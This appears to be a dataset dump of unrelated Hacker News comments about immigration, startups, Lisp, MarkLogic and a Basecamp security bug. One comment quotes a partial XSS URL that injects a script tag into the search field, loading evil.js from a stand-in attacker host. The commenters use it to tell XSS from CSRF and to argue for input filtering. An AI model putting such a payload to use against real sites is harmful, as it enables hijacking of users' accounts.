skysight-inc/HackerNews huggingface dataset:
As a foreigner who has been successfully ousted from the U. S. by the H1-B quota, let me tell you that life is better in Canada.

The permanent residence program for skilled labor in Canada is infinitely less cumbersome and convoluted than the green card track in the U.S. More importantly, it only takes about a year or so, regardless of your nationality (hi Indians).

As for taxes, I was paying taxes in California, so the difference in total taxes is really not that much. Plus you get free healthcare. The healthcare benefits I get from my employer on top of government healthcare really goes above and beyond what I've seen in the U.S.

So, yeah folks, please do as I did, vote with your feet. No one deserves to have their hard work viewed as parasitic.
We're getting right on it Thanks for writing.
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Is anyone else getting funky results with this? It always returns 40.75, -73.997 (New York City) as my location, but I'm in Toronto.
Here's one my friend wrote, we're using it for in-place editing of html files stored on S3: http://github.com/micha/jquery-eip/tree/master
What do you mean by "not really"? :-P

The poster's question is a classic comp.lang.c "favorite"; misunderstanding operator precedence and the two flavors of incrementing in C.

By the way, the term you're looking for is "binding", and bad languages have a habit of confusing binding and assignment.

LET "binds" its arguments to their corresponding values within its body, in a way identical to function application.

Algebraically his question looks like this:

f(x) -> x + succ(x)
y = f(10)

Where succ is the incrementing, or successor function, and + is the addition function.

Btw, much fun can be had with just the increment and decrement functions, along with a predicate to test for zero equality.

http://en.wikipedia.org/wiki/Primitive_recursive_function

P.S. The Lisp "DO" form is for iteration; PROGN and BEGIN are the main block-structure forms used in Common Lisp and Scheme respectively. To the original poster; invest in learning Standard ML and a few lisp dialects, on your own, they will make your compiler hacking far more enjoyable, and you probably wont waste as much time debugging a bad language design from 1970s that thought formal language research from the 1670s was too cutting edge; New Jersey heard "Leibniz" and they thought "Lebanese".
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One advantage of funding so many startups is that we can observe trends among them. Immigration issues seem to be the single biggest external source of pain for startups right now.

The second biggest is the iPhone app store approval process. And the two have a lot in common: absolute judgements made by people who don't really understand what they're judging, and who are not subject to any kind of external forces themselves.
A great story. I also liked how Emacs helped in being more than a text editor but a Lisp environment.

Notice also that having a different dialect of lisp in Emacs (elisp) and in production (clojure) may have given the author the needed push. Had Emacs been implemented in clojure, or had he used elisp in implementing the project, the difference between editing the source code and designing the program may have been blurred. I am not sure if this observation is correct, however; just a hunch.
never said they did, and didn't mean to imply it if i did. just saying, they do target some people that deserve it, sometimes.
Just a year? that is awesome.

What about other restrictions? Do you need to be 'tied' to a employer, like in US? Can you start companies? (not possible on H1-B)
The number one reason my startup failed
What has this

got to do with hacking?

I can't see any point in it.
In today's world, the name for those people is "idiots."
I know what you mean. Someone could invent something for themselves, then make a few more for friends and family that want it, and so one until they have realized a business. Then you might consciously decide to incorporate or otherwise take it to the next level.

Still, I don't like how the author made it seem like the people in the article won the lottery or something. They made the decision to make the best of their situation, instead of just stumbling into something new.
One would expect that 3D modeling will take you straight to 3D printing but I haven't been able to find anything about that in their website...
The title is not meant to be taken literally. I believe it's a riff on "The Accidental Tourist," which has spawned lots of titles of the form "The Accidental X," for any case where ending up as X was not the original intent.
Check out the Canadian Gov't website on skilled employment: http://www.cic.gc.ca/english/immigrate/skilled/index.asp

You don't have to be in Canada, or work for a Canadian company, to apply. There are multiple criteria for determining who is eligible, if you have an employer sponsor it makes it easier to qualify. But if you have decent amount of personal savings, a Bachelors degree, a couple years of experience you can qualify without one.

The temporary work permit, the Canadian equivalent of the H1-B, is more restrictive. You are tied to your employer, probably can't start your own company. But this is completely orthogonal to your permanent residence application. You can do your thing, work outside Canada until your permanent residence is granted, then fly over and start up.
This looks like cross site request forgery to me. Not an xss issue which you notified 37 signals about.
The only restrictions are you can't vote in federal elections and can't join the army.
To keep PR you have to be resident for 3 out of every 5 years, but after 3 years you can get Canadian citizenship.

You can work for anyone or no-one, start your own business or continue working for a foreign company.

You are subject to intensive interogation by Canadian immigration every time you enter the country. You will be grilled for several seconds on topics such as 'how are you?' and 'did you have a good flight?' - other than that it's the same as entering America.
This is a highly uneven article.

"It’s happening: Lou Dobbs’ dream come true and Silicon Valley’s worst nightmare."

ok, lets start the article by sprinkling some politics on it.

"We’re already seeing the reverse brain drain as smart immigrants take their US educations and experience building companies and creating technology back to their home countries."

ok, maybe this is happening. Any numbers on that? Any success figures on people who were in the U.S. and went back to their home country to successfully found a startup and create jobs?

"But now, xenophobia and the lack of any sensible H-1B visa policy is keeping the world’s brightest minds from coming to the U.S. in the first place."

Really? Sure, the visa programs are tight. The sentence starts with "But now" as if something happened. Maybe something did happen. The economy is certain way down. China is way up. India is doing pretty well too. But did I miss something? Have visa policies been changed in the last 18 months?

That's just the first 3 sentences. This article has a lot of spirit but not much substance.
Link to actual content: http://developer.yahoo.com/yui/theater/video.php?v=crockford...
Not a lot of info in the link, but http://www.rebol.com/ seems as comprehensive as the equivalents for other languages.
If you kick out all the Indians/Chinese/Russians then American kids will all switch from law school to doing physics PhDs to take all the superbly paid jobs in American industry.
It's only the presence of foreigners that is causing Americans to fail science and forcing them to aim for law and MBAs in their struggle to find a job.
The perils of DRM were no different back then, except that the term hadn't been coined yet.

I remember disassembling and working around the tape loader for a game on my C64 just so I could copy it to disk. I had no intention of sharing it with anybody, I just wanted to get around the atrocious loading times.

Today I download cracks for the games I buy (no need to write them yourself anymore) so I can run them without needing to have the DVD inserted. The more things change, the more they stay the same.
From another site, he executed javascript on a basecamp account with an open session. Sounds pretty XSS to me.
"Discrimination is perfectly legal so long as it's not based on a protected class (race, religion, gender, handicap, etc.). Our society hasn't quite yet reached the ridiculous point where refusal to sign copyright clauses is a protected class."

Actually, I, and at least some others here are in an anti-protected class. "Being intelligent is not a felony, but most societies rate it at least a misdemeanor."
(Note for those who are interested: I elaborate on this issue here: http://jseliger.com/2009/08/23/philip-greenspuns-why-im-not-... .)
Haikus are easy

but sometimes they don’t make sense

Refrigerator
The end of clicks for free
We went through a very similar phase for our startup which is also about developing iPhone/desktop/web apps. We have a lot of shiny features in our apps like syncing across platforms, real time percentile scores, meetup features, turning the iPhone screen into a scratch paper etc., most of which are useful but given the fact that we were bootstrapping, got us into a deeper and deeper hole. If we wouldn't have found an awesome developer we would have to end our startup too.

Good luck for your future endeavors. You have learnt a lot from this. Don't be disappointed and keep trying.
"Given his considerable business experience (and the lack of downside to letting him create his model)"

Warning signs! Translation: "He doesn't know what he's doing" (or he wouldn't be making predictions on made-up numbers), "and I'm letting him waste some time" (ie, "the lack of downside").

Not sounding good :)
Better machine translation.
If he wants to make up numbers now instead of waiting a few weeks and getting real (ie. dissapointing) numbers, that's bullshit radar material.
Thanks for the support.

MarkMail is indeed built on top of the MarkLogic native XML database and it works very well.

If anyone is interested, I already wrote up a bunch of my reactions to the article (good and bad) in tweets.
As lots of people already said, your user growth projection is probably not going to be very exact. ARPU can be pretty close. Expenses can be really close.

Depending on your product, you might be able to set up some initial targets and just run with those. I.e. if your marketing plan is to start at colleges (or one particular college that you have strong affiliation with), you can calculate a growth for that slice of your market. Since you are pretty set on creating a model, this will probably help you get closer. I.e. your user acquisition went from a geometric curve to more lumpy. Kinks in your curve are a good indication you gave it some thought. I.e. is there a point at time where you switch to a more aggressive growth by buying users?

If you have some goals in mind of when you want to hit profitability, you can backout a user growth rate. So you have ARPU and a pretty good idea of what your expenses will be, just divide expenses by ARPU and you have a user target. So if you then have a goal of hitting break even in 13 months, you know that you will need a x factor of geometric growth. You can make this more complicated by changing your ARPU (I don't know your business model but probably ARPU goes up as you hit critical mass?).

Again, probably still a BS hockey stick but hope this helps!
Drugs that could promote neural plasticity could potentially treat a wide range of neurological disorders, as well as boost the effects of other treatments under investigation.

Just for once, I'd like to hear one of these things say that the discovery could lead to mind blowing lifestyle drugs for everybody. Has it really become so politically incorrect to suggest that we might use science to enhance our lives instead of just helping sick people, or is it just lack of imagination?
Yes the javascript on a separate site the he controls made http requests acting as the logged in user. It has nothing to do with being able to write html and javascript on a basecamp page.
http://en.wikipedia.org/wiki/Cross-site_request_forgery
There are lots of sites that are vulnerable to this.
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What does HN think of the show Shark Tank?
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Again, though, what's your alternative? "Oh, gosh, do you promise to stop?" "Yes, your honor." "OK, you're released. Have a nice day!"?

You're simply alluding to a vague argument that, if you spell it out, will probably sound very silly. I understand and acknowledge that there are different reasons a penal system could be based on (deterrance vs. vengeance vs. simple separation of criminal from law-abider). But under none of those reasons is this a terribly "throw-the-book" punishment. Are you simply against the idea of a prison system in general? Are you for legalizing harassment of witnesses? What? Spell it out.
Can you provide some specifics? You say you observe this trend in YC startups? Is it because people are applying as they finish school and need a different visa to stay and participate in YC? Is it because you get lots of applicants from people not in the U.S. and they can't even get a visa to fly over for the interview? It can't be because the founders can't "hire" good talent. The YC process isn't enough to pay salaries.
I'm completely sucked into this show, but I have an uneasy feeling about putting young entrepreneur in front of extremely experienced VC's.
If you give a good talk, people will come up to you afterward. Get their business cards. A salesperson would call these people leads and follow up with them in order to ask the question directly, "Could your team perform at a higher level with some coaching of the sort I talked about in my talk?"

Your coaching work is probably also going to work it's way into your talk because that's where your anecdotes are coming from. Just make sure to spell it out directly at the end of your talk with a slide: "Thanks for listening, here's what I do, and how to contact me."

There's a non-car-sales technique to selling which is often summarized as give value first. That's what you're doing here because both of these techniques rely on you giving a great talk.
Rebol is 100% proprietary. To be popular it would have to offer a huge advantage over all of the other decent free languages. As far as I know this is not the case.
I completely agree with Sarah. Being a PhD student about to finish in sciences and starting my own company which is already ramen profitable, the biggest concern of mine is how can I stay in US, after I am done with my PhD. I am not that worried about funding, revenues, marketing as much as I am worried about immigration. I wish there was something like PG mentioned in the founders visa article or things are much easier if you are a PhD in STEM in US. I am preparing myself to move back at this point.
OK, let's get some numbers out for a typical "not selling anything for money" startup:

- First 1000 users means nothing whatsoever.
- 10,000 users means nothing.
- If 100,000 free users take 2 years, you should shut down.
- When you double every, say, 3,4 months above 10,000 users, you're doing great.
- Active users (used service in past month) are what matter, not signed-up users.

If it's a for-pay service, ignore above, then you can just calculate the $$
The MarkLogic server is a native XML database. It's designed and written from the ground up to do XML. That's why it's so much better/faster than the competition.

Storage-wise, it's often the case that the MLS DB for a project is actually the same size or smaller than the original data even after you add all of the indexes, etc.

Performance-wise, the MarkMail.org site is running a 4 node cluster. The cluster is totally managed by the ML server and is fully transactional across the cluster.

Feature-wise, the ML server provides all of the underlying goodies for doing not only the various text searches but also the slick faceted search.
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I thought this was a

post for the Haiku OS

but am now saddened.
He is also involved in computational topology http://comptop.stanford.edu/.
True, but has anyone ever actually gotten charged to this, no matter how egregious? About a year or so ago, the RIAA was caught basically spamming any IP address that their automated system came up with as a possible music downloader including some networked printers that could not have been downloading.

http://www.schneier.com/blog/archives/2008/06/framing_comput...

http://www.schneier.com/blog/archives/2008/08/monitoring_p2p... (this one has link to an academic paper (pdf) discussing it)

I thought there was a post on Freedom to Tinker about it too but couldn't find anything.
This article ignores the fact that student visas are a ridiculously expensive way to recruit foreign talent.

A PhD student costs $20-50k/year ($20k stipend, training costs which vary by field, even private universities are heavily subsidized by the govt), so figure costs of $100-250k/student. If 50% of student visas become citizens, that's a cost of $200k-500k per new skilled citizen.

Visas for skilled workers are a much more cost effective way of recruiting high skill talent. Auctioning off citizenship/visas would also be more effective.

Student visas are nothing but a subsidy to the college industry.
It's true that a lot of kids follow the money. I'm sure a lot of students in IT in India and other places are doing it for economic reasons, so it isn't like this is universally a bad thing. In my own case, I like computers, but I like other things as well, and it's sensible to go with what is most economically advantageous.

I started school in 1998 and watched people switch away from Comp Sci due to concerns about outsourcing and immigration, and when the dotcoms imploded, the bottom fell out. I hear the argument that immigrants provide jobs, and that might be true (I can see both side of the argument and am willing to admit ignorance on which is correct), but perception often trumps reality.

IT seems to be at the forefront of outsourcing and foreign labor pressures. I'm sure proponents would say that's also why it's such a dynamic industry, but undoubtedly anxiety about this issue hurts enrollment and interest by native born peoples. If we want to support high skill immigration (I favor this over outsourcing greatly), we need to sell it more effectively as an engine for job growth. I don't think the case has been effectively made. Perhaps some of these immigrant founded companies should pool resources and put an ad campaign up to put a face on the positive effects.
Forget selling and focus on imparting good knowledge on your audience without babbling on for far too long.

I only remember two types of conference speakers; the really good and the really bad.
I think a 'law' could be made out of that principle.

Any proprietary language has to be significantly better than its rivals to gain traction, and if it does gain traction a free implementation or alternative will eventually appear.
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As a person with a foreign national husband (then-boyfriend) of several years, I can tell you that even the visiting process for foreigners has gotten worse since 2006.

We looked into him moving to the US and it was beyond ridiculous. So I moved to Austria.

Yeah, by "foreign national" I meant Austria. Nothing like coming back home from your trip to Vienna and being questioned for 10 minutes about where you met your boyfriend, and where did he grow up... like I have been. What could I have gotten up to, sneaking in 10 pounds of pure, medical grade schnitzel?

I agree with the article's premise. The xenophobia in the US is astounding, and getting worse.
I'd be weary of any brain drug described as "mind blowing."
Its a good show. Its funny to see people with really odd ideas like the "Ionic Ear".

It also made me realize how good a deal YC is.
this is really a silly semantic discussion; either way the vulnerabilities should be fixed.

but this is xss, not csrf/xsrf. in the video he directs the user to a search page with a query containing javascript. the javascript runs in the basecamphq scope and changes the contents of the page to hide everything else and just show the image, which presumably has an onclick or something that pulls in the xsrf token and when clicked, forces the user to change his login data.

since rails has built-in xsrf protection i find it hard to imagine a 37signals site is still vulnerable to blind xsrf attacks. if they are still allowing arbitrary javascript to run and are putting the xsrf token in a javascript variable somewhere (which is commonly needed for ajax operations that post), then the protection doesn't do them much good. they need to stop allowing arbitrary javascript to be executed.

i can't think of a good reason why they need to allow the full set of html tags and javascript to run on their user sites. they should be sanitizing all of the output and only allowing a whitelist of tags and attributes that can't do any harm.
Great work. This is definitely an exciting step in a new direction of rendering.
CSRF is just the beginning so that the full effects of the XSS attack can take place.

Who's to say the javascript he posted doesn't exist somewhere in the account where other members are now going to pull it up, thereby running it on their own accounts, creating a bigger mess.
It’s really nice hearing from failures from time to time. These kinds of stories don’t often get out, but they’re very educational on so many levels.

Especially now when all too many people become so easily enthralled by success stories the likes of Google, Facebook, Youtube, Digg, Twitter, …

It can happen so fast, losing oneself in wishful thinking, losing all reason in the process. I’m speaking from experience, this story really relates to me (although my project isn't as far down the line as yours yet).

If there is something like a Startup Failure Anonymous group, I would like to join it :)
Mozilla Jetpack Update
What's visible of the "evil" URL, at 1:52, looks like: http;//andyet.basecamphq.com/search?global=true&scope=all&terms=%3Cscript+src%3d%22http;//evilsite.com/evil.js... (: replaced with ; so news.YC doesn't shorten link)

This is a lack of filtering of a search input on the search page, not the bug they submitted - that one included injecting HTML/JS by logged in users onto "internal" pages. Conflating the two is disingenuous, at best.

Good news is that a fix for this vulnerability -filtering the search box's inputs- will take about 30 seconds for someone familiar with the code base and ~5 minutes for a brand new intern.
With that level of speed and dexterity, I think its more likely that certain physical tasks will be outsourced like programming or call center jobs are now. The computer vision and semi-autonomy would compensate for the network lag and allow workers to guide the tasks without performing every minute adjustment and requiring haptic feedback.

Think assembled in the USA by workers in Bangladesh.
> If you don't commit major crimes then your chance of being imprisoned is near zero.

In most first-world countries, you won't be imprisoned for having minor amounts of marijuana; you won't get strip searched at middle school if they suspect you have Midol; you won't be labeled a sex offender for life for having oral sex with a fellow teenager who happens to be 3 months (1 year on paper) younger than you; you certainly won't get arrested and have your children taken away for taking a picture of yourself breastfeeding your baby.

Let's not even talk about the trumped up criminality of not-for-profit copyright infringement.

On the other hand, these things all happen in the US on a seemingly regular basis.
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I never start a conversation with my mother like "I've been in an accident ...", if you're cut off then she'd go psycho and be needing tranqs. As the parent said "We're all OK but ...".
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